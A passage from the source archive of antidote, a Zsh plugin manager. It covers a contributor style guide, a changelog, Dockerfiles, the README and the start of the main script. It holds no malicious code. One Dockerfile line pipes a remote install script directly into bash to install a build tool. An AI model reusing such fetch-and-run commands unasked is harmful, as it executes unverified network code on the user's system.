path`/`fpath`/`cdpath`/`manpath`.** They shadow the tied Zsh globals, and the failure shows up far from the declaration. - **`${0:a}` when antidote locates its own code, `${0:A}` when it touches files it manages.** `:A` resolves symlinks, `:a` only normalizes. Resolving Homebrew's `opt/antidote` link records the versioned keg, which `brew upgrade` then deletes out from under running shells ([#271](https://github.com/mattmc3/antidote/issues/271)). Bundle dirs and the static file want the real inode, so those stay `:A`. - Hot-path helpers return values in `REPLY` (scalar) or `reply` (array) rather than on stdout, because capturing stdout costs a fork. Write them as a single folded `typeset -g REPLY=value`, never a bare `REPLY=value`: the test suite runs under `warn_nested_var`, and a bare assignment to a script-level global from inside a function warns. A separate `typeset -g REPLY` line does not help, the declaration and the assignment have to be one command. - `del()` refuses to `rm` anything outside `$HOME` or the temp dir, as a guard against an empty or wrong path variable. Keep it strict. - `git()` is a wrapper that captures stderr and warns. Use `command git` only where raw status or raw output is needed. - Zsh 5.4.2 is the floor. `zparseopts -F` only exists in 5.8+, hence the conditionally built `ZPARSEOPTS` and `_adote_zparopt_flags` arrays. - Man pages: edit `man/*.adoc` and run `just buildman`. Never touch `man/man1/*.1`; it is generated and edits there get overwritten. - A new flag means updating three places together: the usage comment, the man page `.adoc`, and the `functions/_antidote` completions. - The version lives in exactly one place, `_ANTIDOTE_VERSION` in `antidote.zsh`. Tests read it from there. Bump it with `just bump-{maj,min,rev}`. - **`ANTIDOTE_*` is reserved for variables the user or `antidote-zsh` sets.** Exactly ten qualify: `ANTIDOTE_CONFIG`, `ANTIDOTE_HOME`, `ANTIDOTE_TMPDIR`, `ANTIDOTE_PROFILE`, `ANTIDOTE_PROFILE_OUT` and `ANTIDOTE_EPHEMERAL_PIN` come from the environment; `ANTIDOTE_ZSTYLES`, `ANTIDOTE_DYNAMIC`, `ANTIDOTE_USING_CTX` and `ANTIDOTE_ZSH` cross the process boundary from [functions/antidote-zsh](functions/antidote-zsh). Everything else that `antidote.zsh` computes for itself is script-only and takes a leading underscore: `_ANTIDOTE_GIT_SITE`, `_ANTIDOTE_PATH_STYLE`, `_ANTIDOTE_COLOR`, `_C_BLUE`, and so on. The prefix tells you at a glance whether a value can arrive from outside the process. - **Prefer a zstyle over a new env var.** Env vars are public surface and are awkward to scope; zstyles are already the configuration idiom. Reach for an env var only when a zstyle cannot work, which in practice means bootstrap ordering (`ANTIDOTE_CONFIG`) or crossing the process boundary (`ANTIDOTE_ZSTYLES` and friends). - **Knobs that exist only for tests are zstyles**, under `:antidote:test:*`, not env vars. See the test-only table above. - When a variable is both an input and a resolved value, use **one name** and normalize it in place, as `ANTIDOTE_CONFIG`, `ANTIDOTE_HOME`, and `ANTIDOTE_TMPDIR` do. Two names for one setting means every reader has to learn which is which. ## Docs style House rules for anything written in this repo: this file, the README, `man/*.adoc`, `templates/config.zsh` comments, and code comments. - **"antidote" is always lowercase.** It is a command name, not a proper noun. Reword rather than start a sentence with it. - **"Zsh" is capitalized when it names the shell or the language** ("a Zsh plugin manager", "Zsh 5.4.2"), and lowercase as `zsh` when it is the command or a filename (`zsh antidote.zsh`, `.zsh_plugins.txt`). - **No em dashes or en dashes.** Use a plain hyphen, a comma, or two sentences. - **Use "eg:" and "ie:"**, not "e.g." or "i.e.". - **No emoji**, in docs or in output. - **Backtick every identifier**: function names, variables, zstyle contexts, filenames, commands. Function names are written bare, without `()`, except where the parens are the point (`antidote()` vs `antidote_()`). - **Mermaid is acceptable** in markdown docs. GitHub and most editors render it. Use it for structure a list cannot show, like the process boundary or which pipeline steps run in parallel, not to restate a table. - **Link with relative markdown paths** to real files, so links work on GitHub and in local editors: `[functions/antidote-load](functions/antidote-load)`. - **Never cite line numbers** in prose; they rot within a commit or two. Name the function or the `##### SECTION` banner instead. - **Size a file in sloc, not raw lines**, and get the number from `tools/sloc`. Comments and blank lines are not the thing a reader is sizing up. - **Hard wrap prose at 88 columns.** Tables and code blocks are exempt. - **Explain why, not just what.** The what is readable in the code. When a decision looks odd, say what it buys. - **Prefer the imperative and the concrete.** "Run `just buildman`" beats "the man pages can then be built". - Keep code comments short, one or two lines. Comments that explain a non-obvious constraint (dynamic scoping, Zsh version limits, ordering requirements) earn their keep. Comments that restate the code do not. mattmc3-antidote-9bb69ab/CHANGELOG.md000066400000000000000000000421041523541175400172100ustar00rootroot00000000000000# Changelog Notable changes to this project will be documented in this file. ## [v2.3.0] - Add a `preset:` directive setting fallback annotations for every later entry of a bundle, so `pin:` and the like need not repeat on each line. Keyed by clone directory, so the short, https, and ssh spellings share one set. Line-level and `using:` values win. - Speed up dynamic mode by resolving `antidote init` in the parent shell instead of a subprocess, and dropping four forks from every `antidote` invocation. A warm `source <(antidote init)` startup goes from roughly 50ms to 35ms, and `antidote init` itself from 13.5ms to 1ms. - Read the config file once per shell instead of once per command. `antidote-setup` sources it into the parent shell so parent-side code sees its zstyles; anything set before antidote loads still wins. - Make a lone `antidote.zsh` usable when sourced, falling back to a shim that routes commands to the subprocess. `antidote load` and dynamic mode still need the full install. - Fix a config file's `zstyle ':antidote:home' dir ...` being invisible to parent-shell code. `antidote home` reported the default path and the rebundle checkfile landed there, so `antidote update` never cleared it and the forced rebundle after an update stopped happening. - Fix a static `.zwc` built by a different Zsh version never being rebuilt, leaving every shell on that version silently parsing the source. - Fix `kind:autoload` functions never loading under `ksh_arrays`. The generated script indexed `$fpath[1]`, which is not a subscript under that option, so `autoload` got no arguments. - Fix nested dispatch (`load` calling `bundle`) dropping the user's `KSH_ARRAYS` and `SH_GLOB`. - Fix `ANTIDOTE_CONFIG` not crossing the process boundary, and an exported `ANTIDOTE_TMPDIR` being clobbered by `TMPDIR`. - Fix `antidote update` and bundle zcompilation failing when `ANTIDOTE_HOME` contains spaces. - Fix `antidote install` writing `:value` garbage to the plugins file for unknown long flags. It now errors. - Fix a `preset:` not carrying across dynamic-mode `antidote bundle` calls. - Fix bundles that failed to parse still being cloned, and parse errors on a path-style `using:` line being lost with the dropped entry. - Add [misc/grammar.md](https://github.com/mattmc3/antidote/blob/main/misc/grammar.md) documenting the plugins file format: tokenization, directives, annotations, bundle type resolution, and errors. Document `using:` and `preset:` in the `antidote-bundle` man page and the syntax highlighter. - Internal: discover parser contexts by name instead of listing each by hand in four places, where a missed edit failed silently. ## [v2.2.2] - Fix git's own output during a clone leaking into the generated static file, where a line like `warning: redirecting to https://...` becomes a command at shell startup. - Fix `pre:` and `post:` hooks not running for `kind:clone` bundles. Clone-only bundles still emit no load script unless a hook is present. - Fix dynamic-mode heredoc bundles leaking `__adote_script=''` to stdout at shell startup. - Fix concurrent `antidote load` shells racing while rebuilding the same static file. Rebuilds now use per-process temp files, fall back to the last known-good static file on failure, and clean up stale temp files from interrupted builds. - Improve color detection by asking terminfo for terminal color support, honoring `FORCE_COLOR`, and treating `CLICOLOR=0` as an opt-out. - Speed up internal helpers by replacing fork-heavy paths with Zsh builtins for bundle discovery, JSON escaping, and command checks. - Add test fixtures for submodules and non-`main` default branches, covering clone/update paths that were previously untested. - Update the architecture guide with cloning and update sequence diagrams and refreshed implementation notes. ## [v2.2.1] - Fix a cold dynamic-mode startup stalling on bundles with a big history. - Fix `antidote update` intermittently failing with `fatal: Cannot rebase onto multiple branches` right after a fresh clone ([#273](https://github.com/mattmc3/antidote/issues/273)). Git appends to `FETCH_HEAD` without locking it, so the background deepen started by a clone could corrupt what `git pull` read on the same repo. Update now rebases onto the remote-tracking ref instead of `FETCH_HEAD`. - Fix `antidote update` failing on a bundle whose shallow clone is grafted so git cannot see its commit as an ancestor of upstream. The rebase replayed commits that were already upstream and conflicted; update now takes upstream as-is for that case, keeping local changes that no longer apply in the stash rather than writing conflict markers into a plugin file. - Fix `antidote update` printing no commit list under the `updated:` line whenever the old commit had no parent in the clone, which is any shallow bundle and any repo updated from its root commit. The list also no longer repeats the commit you were already on. - Fix antidote commands failing with `function definition file not found` after a package manager upgrade ([#271](https://github.com/mattmc3/antidote/issues/271)). Setup resolved its own install path through symlinks, so a Homebrew shell recorded the versioned keg directory instead of the stable `share/antidote` link. Upgrading deleted that keg out from under every running shell, breaking any function not yet autoloaded. ## [v2.2.0] - Add `zstyle ':antidote:bundle:*' min-age ` to keep bundles a fixed number of days behind upstream, giving a bad push time to be noticed before it reaches your shell. Clones and updates stop at the newest commit that has been upstream long enough. A plugin with no commit that old is still installed at its latest commit. Pinned bundles ignore it. Commit dates are attacker-controlled, so treat this as a cushion, not a supply chain guarantee, and use `pin:` when you need a fixed commit. - Clone bundles shallow, then deepen them with a background fetch, so the first run stays fast but full history is available afterward. Set `zstyle ':antidote:bundle:*' shallow 'yes'` to hold a bundle at its shallow clone. - Make dynamic bundling dramatically faster by caching each `antidote bundle` line's generated script under `$ANTIDOTE_HOME/.dynamic`, so `source <(antidote init)` shells reuse the cached script instead of forking a subprocess per line. On local fixtures that takes a warm bundle line from roughly 30ms to under 0.5ms! Set `zstyle ':antidote:dynamic' zcompile 'yes'` to also compile the cached scripts. - Fix a theme repo sourcing every `.zsh-theme` it ships when none is named for the repo directory. Bundling `romkatv/powerlevel10k` sourced both `powerlevel10k.zsh-theme` and the `powerlevel9k` compatibility shim. - Fix `antidote update` reporting success when a worker failed, and fix bundles with the same short name overwriting each other's reports. - Fix `antidote update --dry-run` deepening shallow clones, a permanent side effect from a dry run, and repair the temp dir cleanup trap. - Fix `antidote update` treating a `shallow.lock` held by a background deepen as an update failure rather than contention. - Fix `antidote load` discarding the existing static file when regeneration failed. ## [v2.1.1] - Fix `antidote.zsh` exiting the shell when sourced from compiled `.zwc` bytecode ([#270](https://github.com/mattmc3/antidote/issues/270)). Zsh reports the eval context as `filecode` rather than `file` in that case, so the sourced check fell through to the CLI branch. - Fix `antidote bundle` exiting 1 for bundle files containing only `kind:clone` entries, and make it exit non-zero when a clone or a parallel script generation job fails. Previously those failures printed to stderr but still exited 0. - Fix `antidote load` returning 0 when the static file was missing or could not be sourced. - Fix `antidote update` printing "self-update complete" after a failed self-update. It now reports the error and returns 1. - Fix `antidote purge` commenting out unrelated bundles in the plugins file when one bundle name was a prefix of another (eg: purging `foo/bar` also matched `foo/barbaz`). Names now match literally, whole word only. - Fix `antidote install` silently writing `:value` garbage to the plugins file for unknown short flags. It now fails with an error. - Fix `antidote snapshot restore` reporting success when restores failed, and fix pinned restores always failing under ephemeral pins. - Fix `antidote list --jsonl` producing invalid JSON when values contained quotes, backslashes, or control characters. - Fix `antidote-dispatch` and `antidote-help` leaking private usage helper functions into the user's shell. - Fix the non-Zsh guard misreporting the shell name, and tolerate a `ps` without `-p` (busybox). - Speed up `antidote update` by only probing for bat when the snapshot picker actually runs. - Ehance completions: `install` gains arg specs, a `--pin` value, and bundle positionals; `path` completes installed bundles; `help` completes topics; `load` and `snapshot` complete files. - Remove unused git config isolation from `update` that would have broken credential helpers and `insteadOf` rewrites had it ever taken effect. - Add an [ARCHITECTURE.md](https://github.com/mattmc3/antidote/blob/main/ARCHITECTURE.md) guide covering file layout, the parent/subprocess boundary, and the bundle pipeline. - Internal: rename globals so `ANTIDOTE_*` means externally managed only, decompose oversized functions, and make `antidote.zsh` clean under `warn_nested_var`. No behavior changes. - Internal: migrate the test suite from clitest markdown files to bats (`tests/bats`), with network tests split out under `just test-real`. ## [v2.1.0] - Add `using:` directive for loading subplugins from monorepos and local paths (eg: oh-my-zsh, prezto). - Improve error detection: invalid bundles and conflicting pin/branch annotations are now caught during parsing and reported with line numbers. Non-fatal errors skip the offending bundle but allow the rest to load. Fatal conflicts bail immediately. - Ensure all non-script output from `antidote bundle` now begins with `#`, making redirected output safer to source. Exit code check is preferred for verifying bundle success. - Add `zstyle ':antidote:home' dir ...` as an alternative to `$ANTIDOTE_HOME` to configure the antidote home directory for those who prefer to only use zstyles. If both are used, `$ANTIDOTE_HOME` wins. - Refactor bundle parser to use an associative matrix, improving performance and enabling richer per-bundle metadata. ## [v2.0.12] - Add syntax definition for antidote bundle files (`.zsh_plugins.txt`). See [misc/zsh_plugins.sublime-syntax](https://raw.githubusercontent.com/mattmc3/antidote/main/misc/zsh_plugins.sublime-syntax). - Use bat for fzf snapshot preview when available, using our new syntax highlighter, with fallback to basic coloring if bat is unavailable or syntax is not installed - Add `zstyle ':antidote:bat' opts ...` to allow user to configure their preferred bat options - Fix `antidote update` to fail faster on git errors - Add tests to ensure git autostashing is working ## [v2.0.11] - Feature [#258](https://github.com/mattmc3/antidote/issues/258): fzf improvements ## [v2.0.10] - Add `antidote snapshot home` subcommand to print the snapshot directory path - Fix `antidote --version` printing a git error when installed outside a git repo (eg: Homebrew) ([#259](https://github.com/mattmc3/antidote/issues/259)) ## [v2.0.9] - Remove stray `setopt warn_create_global warn_nested_var` from testing ## [v2.0.8] - Refactor for better performance ## [v2.0.7] - Fix for [#255](https://github.com/mattmc3/antidote/issues/255): `antidote update` displayed the old version instead of the new version after self-update ## [v2.0.6] - Fix `antidote snapshot` fzf picker regression in [#253](https://github.com/mattmc3/antidote/issues/253) - Add `zstyle ':antidote:fzf' cmd ...` to configure which picker command is used for snapshot selection. Supports custom commands and paths to alternative `fzf` locations - Allow disabling picker-based snapshot selection by setting `zstyle ':antidote:fzf' cmd ''` ## [v2.0.5] - Fix `antidote list` empty-state detection to reliably warn when no bundles are found - More fixes for [#247](https://github.com/mattmc3/antidote/issues/247) - Fix bundle discovery to follow a symlinked `ANTIDOTE_HOME` path (`find -H`) - Fix `antidote purge --all` for symlinked `ANTIDOTE_HOME` by clearing symlink contents before deleting the symlink path - Add regression coverage for symlinked `ANTIDOTE_HOME` across `list`, `path`, `update`, `snapshot`, and `purge` - Fix `antidote snapshot` commands launching fzf in non-interactive shells - Fix test fixtures for git 2.17 compatibility - Bump `actions/checkout` to v4 ## [v2.0.4] - Add `--diagnostics` flag to show antidote and system info for troubleshooting - Add GitHub issue templates for bug reports and feature requests - Fix `antidote list` silently exiting with error when no bundles are cloned ([#247](https://github.com/mattmc3/antidote/issues/247)) - Fix `antidote update` comparing short SHAs which could produce incorrect output (updates worked, but the output was potentially confusing for large repos) - Refactor `antidote-dispatch` into separate autoloaded functions (`antidote-help`, `antidote-load`, `antidote-update`) to be more maintainable - Clean up and alphabetize internal git helper functions ## [v2.0.3] - Reuse existing clones when `path-style` changes, avoiding duplicate clones ([#245](https://github.com/mattmc3/antidote/issues/245)) - Remove legacy duplicate clones during bundling when multiple path-style directories exist - Fix `find_bundles` failing when cloned bundles don't match the current `path-style` - Fix `antidote bundle` emitting output before ensuring a successful clone operation - `antidote list` now shows path and URL by default, and now has a `-u/--url` flag ## [v2.0.2] - Minor fix for bump2version covering more files in the test suite ## [v2.0.1] - Fix for gist cloning [#243](https://github.com/mattmc3/antidote/issues/243) ## [v2.0.0] ### Added - New `antidote snapshot` command lets you save, restore, and list point-in-time snapshots of your plugin state - `antidote snapshot save` writes a snapshot file capturing the exact commit SHA of every cloned bundle - `antidote snapshot restore` restores your bundles to a previous state (uses an interactive picker if no file is given) - `antidote snapshot remove` removes snapshot files (interactive multi-select with `fzf` if available) - `antidote snapshot list` shows all available snapshots - Snapshots are saved automatically after a successful `antidote update` (static mode only) - To disable automatic snapshotting during updates, set this zstyle in your config (eg: ~/.config/antidote/config.zsh): ```zsh zstyle ':antidote:snapshot:automatic' enabled no ``` - If `fzf` is installed, `antidote snapshot restore` gives you an interactive picker with a preview of each snapshot - Snapshot storage location and rolling history limit are configurable via `zstyle` - New `pin:` annotation lets you lock a bundle to a specific commit SHA (full 40-character SHA required) - Example: `zsh-users/zsh-autosuggestions pin:85919cd1ffa7d2d5412f6d3fe437ebdbeeec4fc5` - Pinned bundles are skipped during `antidote update` - `antidote update --dry-run` / `-n`: check for available updates without touching anything - `antidote list` now shows URLs by default - `antidote list --long` / `-l`: show verbose key-value info per bundle (repo, path, URL, SHA, pin status) - `antidote list --dirs` / `-d`: show bundle directory paths - `antidote list --jsonl` / `-j`: machine-readable JSONL output (includes pin status when pinned) - antidote can now read an optional config `~/.config/antidote/config.zsh` on startup (respects `$XDG_CONFIG_HOME`) - A template config file is included showing all available zstyles (see `templates/config.zsh`) - New `path-style` zstyle controls how bundle directories are named on disk: - `full` (default): `$ANTIDOTE_HOME/github.com/owner/repo` - `short`: `$ANTIDOTE_HOME/owner/repo` - `escaped`: `$ANTIDOTE_HOME/https-COLON--SLASH--SLASH-github.com-SLASH-owner-SLASH-repo` (legacy antibody style) ```zsh zstyle ':antidote:bundle' path-style short ``` - New git zstyles let you clone from non-GitHub hosts or default to SSH for clones: ```zsh zstyle ':antidote:git' site gitlab.com zstyle ':antidote:git' protocol ssh ``` - Interactive selection uses `fzf` when available - Color output now respects `NO_COLOR`, `CLICOLOR_FORCE`, and terminal capabilities - Dockerfiles included for reproducible test environments - Tons of new unit tests to verify correctness and provide stability ### Changed - The codebase has been consolidated from many small functions into a single self-contained `antidote.zsh` - Internal dispatching has been rewritten and streamlined - `antidote list` flags have been redesigned and many removed and replaced by `--long`, `--dirs`, and `--jsonl` ### Removed - Antibody compatibility mode has been removed - `antidote list` old flags (`--short`, `--short-name`, `--url`, `--sha`, `--short-sha`, `--pinned`) have been removed in favor of `--long` ### Notes - Pin any repos you want to keep on a certain release. They will be skipped when running `antidote update`. Use `antidote list --long` to see current SHAs, then add `pin:` annotations to your .zsh_plugins.txt. mattmc3-antidote-9bb69ab/Dockerfile000066400000000000000000000005331523541175400173710ustar00rootroot00000000000000FROM alpine:latest RUN apk add --no-cache \ zsh \ bash \ bats \ parallel \ git \ just \ perl \ mandoc \ less \ jq # Install clitest RUN git clone --depth=1 https://github.com/aureliojargas/clitest /opt/clitest ENV PATH="/opt/clitest:$PATH" ENV ZSH_BINARY="/bin/zsh" WORKDIR /workspace CMD ["/bin/zsh"] mattmc3-antidote-9bb69ab/Dockerfile.542000066400000000000000000000036621523541175400177100ustar00rootroot00000000000000FROM ubuntu:22.04 ENV DEBIAN_FRONTEND=noninteractive RUN apt-get update && apt-get install -y \ wget \ build-essential \ libncursesw5-dev \ libcurl4-openssl-dev \ libssl-dev \ libexpat1-dev \ zlib1g-dev \ gettext \ automake \ man-db \ jq \ parallel \ && rm -rf /var/lib/apt/lists/* # Build and install Git 2.17.0 from source (period-appropriate for Zsh 5.4.2, Jan 2018) RUN wget -q https://mirrors.edge.kernel.org/pub/software/scm/git/git-2.17.0.tar.xz \ && tar -xf git-2.17.0.tar.xz \ && cd git-2.17.0 \ && make prefix=/usr -j$(nproc) \ && make prefix=/usr install \ && cd .. \ && rm -rf git-2.17.0 git-2.17.0.tar.xz # Install bats-core (apt's 1.2.1 too old; tests need BATS_TEST_TMPDIR from 1.4+) RUN git clone -q --depth=1 -b v1.13.0 https://github.com/bats-core/bats-core /opt/bats-core \ && /opt/bats-core/install.sh /usr/local \ && rm -rf /opt/bats-core # Install just RUN wget -qO- https://just.systems/install.sh | bash -s -- --to /usr/local/bin # Ubuntu minimal containers stub out /usr/bin/man; unminimize restores the real man RUN yes | unminimize 2>/dev/null || true # Build and install Zsh 5.4.2 from source # config.guess/config.sub in the 5.4.2 tarball are from 2009 and don't know # about aarch64, so we update them from automake before running configure. RUN wget -q https://sourceforge.net/projects/zsh/files/zsh/5.4.2/zsh-5.4.2.tar.xz \ && tar -xf zsh-5.4.2.tar.xz \ && cp /usr/share/automake-*/config.guess zsh-5.4.2/ \ && cp /usr/share/automake-*/config.sub zsh-5.4.2/ \ && cd zsh-5.4.2 \ && ./configure --with-tcsetpgrp \ && make -j$(nproc) \ && make install \ && cd .. \ && rm -rf zsh-5.4.2 zsh-5.4.2.tar.xz # Install clitest RUN git clone --depth=1 https://github.com/aureliojargas/clitest /opt/clitest ENV PATH="/opt/clitest:$PATH" ENV ZSH_BINARY="/usr/local/bin/zsh" WORKDIR /workspace CMD ["/usr/local/bin/zsh"] mattmc3-antidote-9bb69ab/LICENSE000066400000000000000000000020631523541175400164040ustar00rootroot00000000000000MIT License Copyright (c) 2021-2026 Matt McElheny Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. mattmc3-antidote-9bb69ab/README.md000066400000000000000000000105761523541175400166660ustar00rootroot00000000000000# antidote [![MIT License](https://img.shields.io/badge/license-MIT-007EC7.svg)](/LICENSE) ![version](https://img.shields.io/badge/version-v2.3.0-df5e88) GetAntidote Logo > [Get the cure][antidote] Meet [antidote][antidote], a feature-complete Zsh implementation of the legacy [Antibody][antibody] plugin manager, which in turn was derived from [Antigen][antigen]. It not only aims to provide continuity for those legacy plugin managers, but also to delight new users with high-performance, easy-to-use Zsh plugin management. ## Usage Basic usage should look really familiar to you if you have used antibody or antigen. Bundles (aka: Zsh plugins) are stored in a file typically called `.zsh_plugins.txt`. ```zsh # .zsh_plugins.txt rupa/z # some bash plugins work too sindresorhus/pure # enhance your prompt # you can even use Oh My Zsh plugins getantidote/use-omz ohmyzsh/ohmyzsh path:lib ohmyzsh/ohmyzsh path:plugins/extract # add fish-like features zsh-users/zsh-syntax-highlighting zsh-users/zsh-autosuggestions zsh-users/zsh-history-substring-search ``` A typical `.zshrc` might then look like: ```zsh # .zshrc source /path-to-antidote/antidote.zsh antidote load ${ZDOTDIR:-$HOME}/.zsh_plugins.txt ``` The full documentation can be found at [https://antidote.sh][antidote]. ## Help getting started If you want to see a full-featured example Zsh configuration using antidote, you can have a look at this [example zdotdir](https://github.com/getantidote/zdotdir) project. Feel free to incorporate code or plugins from it into your own dotfiles, or you can fork it to get started building your own Zsh config from scratch driven by antidote. ## Installation ### Install with git You can install the latest release of antidote by cloning it with `git`: ```zsh # first, run this from an interactive zsh terminal session: git clone --depth=1 https://github.com/mattmc3/antidote.git ${ZDOTDIR:-$HOME}/.antidote ``` ### Install with a package manager antidote may also be available in your system's package manager: - [macOS homebrew](https://formulae.brew.sh/formula/antidote): `brew install antidote` - [Arch AUR](https://aur.archlinux.org/packages/zsh-antidote): `yay -S zsh-antidote` - [Nix Home-Manager](https://mipmip.github.io/home-manager-option-search/?query=antidote) : `programs.zsh.antidote.enable = true;` ## Performance antidote supports ultra-high performance plugin loads using a static plugin file. It also allows deferred loading for [plugins that support it](https://github.com/romkatv/zsh-defer#caveats). ```zsh # .zsh_plugins.txt # some plugins support deferred loading zdharma-continuum/fast-syntax-highlighting kind:defer zsh-users/zsh-autosuggestions kind:defer zsh-users/zsh-history-substring-search kind:defer ``` ```zsh # .zshrc # Lazy-load antidote and generate the static load file only when needed zsh_plugins=${ZDOTDIR:-$HOME}/.zsh_plugins if [[ ! ${zsh_plugins}.zsh -nt ${zsh_plugins}.txt ]]; then ( source /path-to-antidote/antidote.zsh antidote bundle <${zsh_plugins}.txt >${zsh_plugins}.zsh ) fi source ${zsh_plugins}.zsh ``` ## bat syntax highlighting If you use [bat](https://github.com/sharkdp/bat), antidote includes a syntax definition for `.zsh_plugins.txt` files. To install it: ```zsh bat_syntax_dir="$(bat --config-dir)/syntaxes" mkdir -p "$bat_syntax_dir" curl -fsSL https://raw.githubusercontent.com/mattmc3/antidote/main/misc/zsh_plugins.sublime-syntax \ -o "$bat_syntax_dir/zsh_plugins.sublime-syntax" bat cache --build ``` ## Benchmarks You can see how antidote compares with other setups [here][benchmarks]. ## Plugin authors If you authored a Zsh plugin, the recommended snippet for antidote is: ```zsh antidote install gh_user/gh_repo ``` If your plugin is hosted somewhere other than GitHub, you can use this: ```zsh antidote install https://bitbucket.org/bb_user/bb_repo ``` ## Credits A big thank you to [Carlos](https://github.com/caarlos0) for all his work on [antibody] over the years. [antigen]: https://github.com/zsh-users/antigen [antibody]: https://github.com/getantibody/antibody [antidote]: https://antidote.sh [benchmarks]: https://github.com/romkatv/zsh-bench/blob/master/doc/linux-desktop.md [zsh]: https://www.zsh.org mattmc3-antidote-9bb69ab/antidote000066400000000000000000000005331523541175400171310ustar00rootroot00000000000000#!/bin/zsh ### antidote - the cure to slow zsh plugin management # # https://antidote.sh # run `antidote -h` for usage # # Note: this gets overridden if using `antidote init`. # function antidote { 0=${(%):-%x} if ! typeset -f antidote-dispatch > /dev/null; then source ${0:a:h}/antidote.zsh fi antidote-dispatch "$@" } antidote "$@" mattmc3-antidote-9bb69ab/antidote.zsh000066400000000000000000002350761523541175400177500ustar00rootroot00000000000000#!/usr/bin/env zsh # Ensure we're in Zsh and not bash if [ -n "$BASH_VERSION" ]; then echo >&2 "antidote: This script requires Zsh, not Bash" return 1 2>/dev/null || exit 1 elif [ -z "$ZSH_VERSION" ]; then shellname="$(ps -p $$ -oargs= 2>/dev/null | awk 'NR==1{print $1}')" echo >&2 "antidote: This script requires Zsh, not '$shellname'." return 1 2>/dev/null || exit 1 fi # When sourced, behave differently. Zsh uses the 'filecode' context # token instead of 'file' when a script loads from its .zwc bytecode. 0=${(%):-%N} if [[ ":${ZSH_EVAL_CONTEXT}:" == *:file(|code):* ]]; then if [[ -d ${0:a:h}/functions ]]; then typeset -f antidote-setup &>/dev/null && unfunction antidote-setup builtin autoload -Uz ${0:a:h}/functions/antidote-setup antidote-setup else # Standalone file: shim to the subprocess. No load or dynamic mode. typeset -gH ANTIDOTE_ZSH=${0:a} antidote() { zsh $ANTIDOTE_ZSH "$@" } fi return 0 fi # Initial vars builtin autoload -Uz is-at-least ZPARSEOPTS=( -D -M ) is-at-least 5.8 && ZPARSEOPTS+=( -F ) typeset -gr TAB=$'\t' typeset -gr NL=$'\n' typeset -g REPLY typeset -ga reply=() # Internal profiling support [[ -n "$ANTIDOTE_PROFILE" ]] && zmodload zsh/zprof zmodload zsh/datetime zmodload -F zsh/parameter p:parameters # Load config: source config file then apply any serialized zstyles. # XDG resolution is fine here rather than via get_dir. # # antidote-setup sets ':antidote:config sourced' once it has tried the # file in the parent, whose zstyles then carry the result here. Matched # as a string because the styles are not eval'd until the line below. typeset -g ANTIDOTE_CONFIG=${ANTIDOTE_CONFIG:-${XDG_CONFIG_HOME:-$HOME/.config}/antidote/config.zsh} [[ "$ANTIDOTE_ZSTYLES" != *':antidote:config sourced'* && -f "$ANTIDOTE_CONFIG" ]] && source "$ANTIDOTE_CONFIG" [[ -n "$ANTIDOTE_ZSTYLES" ]] && eval "$ANTIDOTE_ZSTYLES" # Zsh options needed by antidote setopt extended_glob typeset -ga _ext_setopts zstyle -a ':antidote:test' setopts _ext_setopts && setopt $_ext_setopts unset _ext_setopts ##### OUTPUT HELPERS die() { warn "$@"; exit "${ERR:-1}"; } say() { printf '%s\n' "$@"; } warn() { say "$@" >&2; } is_true() { [[ "${1:l}" != (0|no|false|off) ]]; } # Escape a string for use inside a JSON double-quoted value. json_escape() { local i ch esc esc=${1//\\/\\\\} esc=${esc//\"/\\\"} esc=${esc//$'\b'/\\b} esc=${esc//$'\f'/\\f} esc=${esc//$'\n'/\\n} esc=${esc//$'\r'/\\r} esc=${esc//$'\t'/\\t} # Any remaining C0 control chars need \u00XX form to be valid JSON. if [[ "$esc" == *[$'\x01'-$'\x1f']* ]]; then for (( i = 1; i <= 31; i++ )); do ch=${(#)i} [[ "$esc" == *${ch}* ]] || continue esc=${esc//${ch}/\\u${(L)${(l:4::0:)$(([##16]i))}}} done fi typeset -g REPLY=$esc } # Prompt for a y/n answer unless a test zstyle provides one. # usage: confirm confirm() { local REPLY zstyle -s "$1" answer REPLY || { read -q "REPLY?$2" print } [[ ${REPLY:u} == Y ]] } ##### GIT HELPERS # Error-capturing wrapper around $_ANTIDOTE_GIT_CMD. Named so a bare # `git` in this file is unambiguously the real thing. Output lands in # REPLY, never on stdout: git chatters on success (eg "warning: # redirecting to") and stdout during bundling is the generated script. gits() { local err out # Two steps: assigning inside typeset would report typeset's status. out="$(command "$_ANTIDOTE_GIT_CMD" "$@" 2>&1)" err=$? typeset -g REPLY=$out if (( err )); then warn "antidote: unexpected git error on command 'git $*'." if [[ -n "$REPLY" ]]; then warn "antidote: error details:" warn "$REPLY" fi return $err fi } # Quiet wrapper for calls where a nonzero exit is the expected answer. gitq() { command "$_ANTIDOTE_GIT_CMD" "$@" 2>/dev/null; } # gits, for the calls whose output the caller reads off stdout. gitsay() { gits "$@" || return $?; [[ -z "$REPLY" ]] || say "$REPLY" } # Having all the git usage in one place helps me easily see at a glance what all we run. git_checkout_detach() { gits -C "$1" checkout --quiet --detach "$2"; } git_clone() { local d=$1; shift; gits clone --depth 1 --no-local --quiet --recurse-submodules --shallow-submodules "$@" "$d"; } git_config_get() { gitsay -C "$1" config --get "$2" 2>/dev/null; } git_config_set() { gits -C "$1" config "$2" "$3"; } git_config_unset() { gits -C "$1" config --unset "$2" 2>/dev/null; } git_fetch() { local d=$1; shift; gits -C "$d" fetch --quiet "$@"; } git_unshallow() { git_fetch "$1" --unshallow; } git_unshallow_try() { gitq -C "$1" fetch --quiet --unshallow >/dev/null } git_is_shallow() { [[ -f "$1/.git/shallow" ]] || [[ "$(gitq -C "$1" rev-parse --is-shallow-repository)" == "true" ]] } git_is_ancestor() { gitq -C "$1" merge-base --is-ancestor "$2" "$3" } git_log_oneline() { gitsay -C "$1" --no-pager log 